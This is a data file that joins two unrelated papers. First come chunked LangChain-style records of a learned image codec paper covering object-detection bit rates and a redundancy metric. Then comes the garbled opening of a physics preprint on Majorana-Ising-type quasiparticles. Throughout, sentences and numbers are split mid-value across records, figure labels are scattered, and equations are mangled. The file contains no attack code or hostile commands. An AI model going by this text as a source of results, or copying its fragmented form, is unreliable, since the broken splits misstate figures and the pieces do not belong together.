+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' , 40}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  We evaluate object detection performance on COCO 2014 validation dataset [20]  consisting of around 5000 JPEG-compressed images with annotated bounding boxes  belonging to 80 object categories.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  We resize the input images to 512 × 512 with  a bilinear interpolation filter before encoding.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Additionally, we also evaluate input  reconstruction performance on all 24 images from the Kodak dataset [21].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='2  Results  Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 4 compares the performance of our models and relevant codecs.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 4(a) shows  the object detection performance using a rate-accuracy curve in terms of mean average  precision (mAP) for an Intersection over Union (IoU) threshold of 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='5 versus bits per  pixel (bpp).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 4(b) and (c) show the input reconstruction performance using rate-  distortion curves in terms of peak signal-to-noise ratio (PSNR) and MS-SSIM versus  bpp, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  For the primary machine vision task, the object detection performance of our  method with (64, 128, 1) reaches near 2% mAP loss3 (dashed line) at around 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='3  bpp, whereas Choi et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [11] with a configuration of (128, 64, 1) reaches a similar  accuracy at around 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='58 bpp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' When repurposed for this compression task, HEVC  and VVC show relatively poor performance.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In comparison with [11], our method  approximately achieves 55% bit savings at the 2% mAP loss threshold.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  For the secondary input reconstruction task, VVC achieves the best performance  among all methods for both the PSNR and MS-SSIM metrics.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' However, our method  still shows competitive performance at low bpp compared to HEVC and Choi et  1http://hevc.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='hhi.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='fraunhofer.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='de/svn/svn_HEVCSoftware/tags/HM-16.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='20+SCM-8.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='8/  2https://vcgit.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='hhi.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='fraunhofer.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='de/jvet/VVCSoftware_VTM/-/tags/VTM-12.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  3Default performance of YOLOv3 on COCO2014 dataset, including JPEG-compressed images,  is around 55.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='85% mAP at 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='80 bpp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  0  20  40  60  80  Epochs  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='5  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0  �  Rdn (y1 | y2)  Ours (64,192,2)  Choi et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [11] (128,64,1)  (a)  0  20  40  60  80  Epochs  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='5  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0  �  Rdn (y2 | y1)  (b)  Figure 5: Evolution during training of the redundancy metrics (a) �  Rdn (y1 | y2) and (b) �  Rdn (y2 |  y1) discussed in Sec.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Both curves in all figures correspond to the models trained with λ = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0483.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  (a)  y2  y1  y2  y1  −40  −20  0  20  40  Ours  [11]  (b)  Figure 6: (a) A sample input image from Kodak [21] and (b) top-8 latent channels ordered by rate  for the base (y1) and enhancement (y2) latent representations of the models employed in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Nonetheless, the performance gap between our method for well-chosen con-  figurations and the benchmarks increases somewhat for larger bpp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The best con-  figuration for our method in terms of PSNR is with M2 = 192 channels for the  enhancement layer.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' When comparing input reconstruction performance using MS-  SSIM, all tested configurations of our method show competitive performance with  respect to HEVC.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We note that our worst-performing configuration (M2 = 64) in  terms of PSNR is still competitive when measured with MS-SSIM.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  In summary, our proposed approach is capable of achieving a significant reduction  in bit rate for the object detection task at the cost of slight performance degradation  for the input reconstruction task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  5  Insight into Information Flow  We introduce the redundancy metric Rdn (yi | yj) ≜  I(yi;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='yj)  H(yi)  = 1 −  H(yi|yj)  H(yi) , also  referred to as the uncertainty coefficient [22] in the literature, which measures what  portion of the information within yi is redundantly contained in the other variable yj.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Following the conditional entropy estimation approach employed in [11], we separate  yi and yj into fibers with a size of m × 1 × 1, where m ∈ {Mi, Mj} is the number  of channels of the respective latent tensor.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Then, we group the fibers for yj into  K = 128 clusters using the k-means algorithm.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Finally, we estimate  �  Rdn (yi | yj) = 1 −  1  H(yi)  �  k∈{1,.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='..' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=',K}  p(k) H(¯yi | c(¯yj) = k),  (3)  where c : RMj×1×1 → {1, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' , K} is a fixed clustering function, p(k) denotes the ap-  proximate probability density associated with each cluster k, and (¯yi, ¯yj) is a random  H11Hvariable representing one of L pairs of fibers sampled over 256 images.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To estimate  H(yi), we employ the entropy bottleneck module of [3], and also use it in computing  the estimate H(¯yi | c(¯yj) = k) ≈ �  l∈{1,.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='..' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=',L} H(¯y(l)  i ) δ[c(¯y(l)  j ) − k].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  We compare the evolution of the aforementioned metric during training for our  method and for the benchmark model [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' As Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 5(a) shows, �  Rdn (y1 | y2) sta-  bilizes near the desired value of zero for our method, whereas it is larger for [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Conversely, as Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 5(b) shows, �  Rdn (y2 | y1) stabilizes near one for our method,  and zero for [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' This confirms that our proposed approach yields a more compact  base latent representation, while producing a suboptimal enhancement latent repre-  sentation.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Furthermore, it affirms that the model from [11] offers a more graceful  degradation in the context of image reconstruction quality as its enhancement latent  representation contains less redundancy compared to ours.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Although the loss in cod-  ing efficiency due to scalability has been previously studied in [11], we argue that our  way of looking into information flow through an information-theoretic lens provides  deeper understanding about degree of redundancy between the latent representations.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 6 visualizes the top-8 channels, ordered by rate, of the base and enhancement  latent representations for both our method and the one in [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' For our approach,  y1 contains very little visible image structure, suggesting that it is well optimized for  the object detection task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Without achieving comparative gains in task accuracy, as  seen in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 4, [11] produces significant visible image structure within y1, leading to  a significantly higher bit cost for the base bitstream.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Thus, our method efficiently  encodes only what is necessary for a given task within its respective bitstream.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  6  Conclusion  This paper presents a DNN-based image codec with a new variational formulation,  offering latent-space scalability for human and machine vision tasks by disentangling  the learned latent representations.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' For this end, the information related to the object  detection task is extracted at the encoder side to be used as an additional input,  together with original input image, to a learned transform at the encoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' As such,  compared to the state-of-the-art benchmark in [11], we achieve significant bit re-  ductions at the base layer bitstream for the object detection task, hence yielding a  desirable scalable image codec for the VCM paradigm.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Additionally, we introduce an  information-theoretic metric to analyze the characteristics of the amount of redun-  dancy between two learned latent representations.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We leave the investigation of how  to further improve image reconstruction quality while not compromising the object  detection performance for future work.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
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+page_content=' Electron.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', vol.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 46, no.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 4, pp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
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+Fractionalization of Majorana-Ising-type quasiparticles
+J.E. Sanches,1, ∗ L.T. Lustosa,1 L.S. Ricco,2 I.A. Shelykh,2, 3 M. de Souza,4 M.S. Figueira,5 and A.C. Seridonio1, †
+1S˜ao Paulo State University (Unesp), School of Engineering,
+Department of Physics and Chemistry, 15385-000, Ilha Solteira-SP, Brazil
+2Science Institute, University of Iceland, Dunhagi-3, IS-107, Reykjavik, Iceland
+3ITMO University, St.
+Petersburg, 197101, Russia
+4S˜ao Paulo State University (Unesp), IGCE, Department of Physics, 13506-970, Rio Claro-SP, Brazil
+5Instituto de F´ısica, Universidade Federal Fluminense, 24210-340, Niter´oi, Rio de Janeiro, Brazil
+We theoretically investigate the spectral properties of a quantum impurity (QI) hosting the here
+proposed Majorana-Ising-type quasiparticle (MIQ). It arises from the coupling between a finite topo-
+logical superconducor (TSC) based on a chain of magnetic adatoms-superconducting hybrid system
+and an integer large spin S flanking the QI. Noteworthy, the spin S couples to the QI via the Ising-
+type exchange interaction. As the TSC chain contains overlapped Majorana zero-modes (MZMs)
+at the edges, we counterintuitively find a regime wherein the Ising term modulates the isolation
+of a fractionalized and resonant MZM at the QI site. Interestingly enough, the fermionic nature
+of this state is revealed as purely of electron tunneling-type and most astonishingly, it completely
+ignores the Andreev reflection process in its birth. We find that an isolated edge state appears as a
+zero-mode in a finite TSC and hope that it could be used in majorana-based quantum computing.
+I.
+INTRODUCTION
+Majorana fermions are peculiar particles equal to their
+own antiparticles described by real solutions of the Dirac
+equation[1]. In Condensed Matter Physics, such fermions
+rise as quasiparticle excitations usually quoted as Majo-
+rana zero-modes (MZMs), which are found attached to
+the boundaries of topological superconductors (TSCs)[2–
+31]. Astonishingly, since the theoretical Kitaev seminal
+proposal of p-wave superconductivity[32], MZMs are no-
+tably coveted due to their attribution as building-blocks
+for the highly pursued fault-tolerant topological quantum
+computing. Thereafter, in the last years, such excitations
+have received astounding focus from both communities
+working with quantum science and technology.
+Interestingly enough, theoretical predictions ensure
+that the fractional zero-bias peak (ZBP) given by the con-
+ductance GTotal(0) = e2
+2h in transport evaluations through
+quantum dots[2–4], if robust against perturbations, could
+be regarded as the capital hallmark of an isolated MZM
+at the edge of a TSC[3, 4]. Once an ordinary fermion
+can be decomposed into two MZMs, the amplitude 1/2
+in GTotal(0) fractionalizes the quantum of conductance
+e2
+h and represents the electronic zero-frequency spectral
+weight, which reveals indeed, the MZM “half-fermionic”
+nature. This aforementioned fingerprint is expected to
+show up in engineered platforms that combine conven-
+tional s-wave superconductivity and spin-texture [see
+Refs.[33–35] and Fig.1(a)]. As aftermath, the p-wave su-
+perconductivity becomes feasible, thus allowing the ex-
+perimental realization of the spinless Kitaev wire, which
+is indeed, a TSC in 1D[7, 25, 27, 32, 36–39]. For such
+an accomplishment, we highlight two practical recipes,
+∗ corresponding author: jose.sanches@unesp.br
+† corresponding author: antonio.seridonio@unesp.br
+which have the following ingredients: (i) a semiconduct-
+ing nanowire, with strong spin-orbit coupling (SOC) and
+under a magnetic field, should be deposited on top of
+an s-wave superconductor[25, 29–31, 36, 37, 40] or (ii)
+a linear chain of magnetic adatoms with exchange inter-
+actions should be hosted by an s-wave superconductor
+with strong SOC[13, 18, 33–35, 41–46]. In both the situ-
+ations, the s-wave superconductors with singlet Cooper
+pairing lead to the so-called superconducting proximity
+effect, which is pivotal to carry forward the supercon-
+ducting (SC) character into such manufactured Kitaev
+wires. Thus, the Zeeman field from the previous recipes
+(i) and (ii), together with the magnified SOC from such
+quantum materials, establish a synergy that stabilizes the
+system spin-texture.
+Consequently, the triplet Cooper
+pairing for the p-wave superconductivity, as well.
+Particularly in the topological nontrivial regime of such
+setups, these Majorana quasiparticle excitations emerge
+ideally, i.e., as MZMs decoupled from each other and lo-
+calized on the boundaries of the TSC. Due to this decou-
+pling from their environment, MZMs are regarded robust
+against perturbations, once they are topologically pro-
+tected by the SC gap. Thus, MZMs become promising
+candidates for a quantum computing free of the decoher-
+ence phenomenon[47, 48]. However, perfectly far apart
+MZMs are hypothetical objects, since they are reliable
+solely in infinite-size systems and in real experiments, the
+quantum wires are finite. As a result, these end MZMs
+within a finite length overlap with each other and in-
+evitably, a fermionic mode with a finite energy emerges
+instead.
+To overcome the aforementioned challenge, in this
+work, we find as route the fractionalization of ordinary
+MZMs, in particular, those found at a quantum impu-
+rity (QI) site coupled to one edge of a finite TSC in
+1D. To this end, we should take into account the Ising
+exchange interaction between an integer large spin and
+such a QI. This setup corresponds to Figs.1(a) and (b),
+arXiv:2301.03507v1  [cond-mat.supr-con]  9 Jan 2023
+
+2
+Spin 
+polarized 
+tip
+Spin-
+texture
+s-wave superconductor
+Fe wire
+Quantum
+Impurity
+a)
+S
+d)
+f
+Δ
+t
+εM
+J(S/2)
+-J(S/2)
+Metallic Surface
+γ1
+γ2
+εM
+c)
+λ1
+γMIQ
+λ1
+γMIQ
+Source
+b)
+J
+Γ
+Γ
+Drain
+Sz
+sz
+Figure 1.
+(a) Proposed device expected to show a Majorana-
+Ising-type quasiparticle (MIQ) γMIQ localized at the quan-
+tum impurity (QI) site. The MIQ leads to a zero-bias con-
+ductance peak GMIQ(0) =
+e2
+4h due to the QI placed between
+source and drain leads, but the total conductance is still
+GTotal(0) = e2
+2h. This occurs once a genuine electron tunneling
+process is present and there is a complete lack of local An-
+dreev reflection. It can be performed by considering the QI
+simultaneously coupled to a spin-polarized tip with an integer
+large spin S via an Ising-type exchange interaction J and with
+a hopping term λ1 to a helical spin-texture chain hosted by
+an s-wave superconductor. (b) Side view of panel (a) wherein
+the QI-lead coupling Γ and Ising-type exchange interaction
+J for the spin-polarized tip and QI appear highlighted. (c)
+Pictorial scheme of panel (b), which effectively consists of a
+topological superconductor (TSC), where ϵM represents the
+overlap between the Majorana zero-modes (MZMs) γ1 and
+γ2 at edges, while the QI shows the MIQ γMIQ. The spatial
+distributions of the wave functions for the MZMs and QI are
+also illustrated. The factor 1
+4 in GMIQ has correspondence to
+the
+1
+4 from the volume for the sphere depicted to represent
+the quasiparticle γMIQ, in contrast to the ratio 1
+2 for the typ-
+ical volume of the MZMs γ1 and γ2. (d) These MZMs mimic
+a delocalized fermionic site f, wherein ϵM plays the role of
+its energy level, while the QI has 2S + 1 levels ranging from
+−J(S/2) to +J(S/2). In this scenario, such quantum dots
+constitute a Kitaev dimer, i.e., with hopping t and pairing △
+of the p-wave Cooper pair split into the QI and f orbitals.
+and it contains the ordinary MZMs γ1 and γ2 placed at
+the edges of a short TSC wire.
+To better understand
+our findings, we propose to view the MZMs as sketched
+in Fig.1(c), where these objects appear symbolized by
+calottes (half-spheres). We clarify that the employment
+of such a pictorial representation for the MZMs aims to
+explain diagrammatically the electron fractionalization
+into them, as well as the MZM fractionalization itself
+here observed.
+These calottes belong to a delocalized
+sphere cut in half, with each part placed at the TSC
+edges. This cartoon is very useful and it has the purpose
+of emulating the nonlocal nature of the fermionic state
+composed by these MZMs, which are found spatially far
+apart.
+To best of our knowledge, the Majorana zero-
+frequency spectral weight, in particular for a QI coupled
+to an infinite TSC, is given by the unity when the leaking
+of the MZM γ1 into a quantum dot occurs[4]. This unity
+corresponds to a calotte, which is a half-electron state
+that contributes to the conductance GMZM(0) =
+e2
+2h, as
+expected[3, 4]. Particularly for a finite TSC, we define
+as the system sweet spot [see Fig.3 b)-I] a special con-
+figuration, in which a peculiar Ising exchange interaction
+allows us to observe a fractionalized MZM quasiparticle
+γMIQ at the QI, namely, the called by us as Majorana-
+Ising-type quasiparticle (MIQ) [Figs.1(a) and (c)]. This
+quasiparticle can be viewed as the half-calotte within the
+cartoon representation of the QI state [see also Fig.1(c)].
+Such a ratio symbolizes a novel MZM-type excitation in
+the presence of finite TSCs, in which technically speak-
+ing, it is identified by a Majorana zero-frequency spectral
+weight equals to half.
+Equivalently, the same amount
+corresponds to
+1
+4 of the entire QI electronic state.
+In
+contrast, it leads to GMIQ(0) = e2
+4h as it should be. Inter-
+estingly enough, solely in one of the Majorana densities
+of states (DOSs) of the QI, the MIQ becomes evident as a
+resonant mode localized at ω = 0. Counterintuitively, the
+other Majorana DOS of the QI instead of exhibiting a res-
+onant state, reveals a Majorana zero-frequency spectral
+weight with a valley, but presenting the same magnitude
+of the resonant Majorana fermion. In this manner, we
+can safely state that this novel MZM-type quasiparticle,
+i.e., the MIQ, is then found at the QI. In this situation,
+we demonstrate that the emergence of such a quasiparti-
+cle yields a zero-bias local Andreev conductance entirely
+null, with only normal electronic contribution to the total
+conductance.
+II.
+THE MODEL
+The effective system Hamiltonian that corresponds to
+the proposed setup presented in Fig.1(a) can be expressed
+as:
+H =
+�
+αkσ
+εαkc†
+αkσcαkσ +
+�
+σ
+εσd†
+σdσ + iεMγ1γ2
++
+�
+Γ
+2πρ0
+�1/2 �
+αkσ
+(c†
+αkσdσ + H.c.) + JszSz
++ λ1(d↑ − d†
+↑)γ1,
+(1)
+where the operator c†
+αkσ(cαkσ) describes the creation
+(annihilation) of an electron with momentum k, spin-z
+σ = ±1, energy εαk = εk − µα for the metallic lead
+α = [Source, Drain] in terms of the single-particle energy
+εk and chemical potential µα, while d†
+σ(dσ) stands for the
+electrons at the QI site in which εσ represents their en-
+ergy levels per spin. To connect the QI to the metallic
+leads and a large spin S as well, we should consider the
+QI-lead coupling Γ = 2πv2ρ0, which is determined by
+the QI-lead hopping term v and lead DOS ρ0, in parallel
+to the Ising-type exchange interaction J [Fig.1(b)]. This
+Ising Hamiltonian involves the components sz and Sz of
+the QI (s = 1/2) and S, respectively, wherein the latter
+
+3
+could be well-represented, within an experimental frame-
+work, by a spin-polarized tip [Ref.[49] and Figs.1(a)-(b)].
+The emergence of MZMs at the TSC wire edges are ac-
+counted for γ1 and γ2, with εM as the overlap param-
+eter. Finally, λ1 couples the spin-up channel of the QI
+to γ1 [Fig.1(c)]. Additionally, for the sake of simplicity,
+we consider that the spin-down degree is decoupled from
+the TSC and obeys the single impurity Anderson model
+(SIAM)[50]. Thus, we assume that the spin component
+of the QI that couples to the Kitaev wire is σ = +1,which
+is, as can be viewed in Fig.1(a), the same spin direction
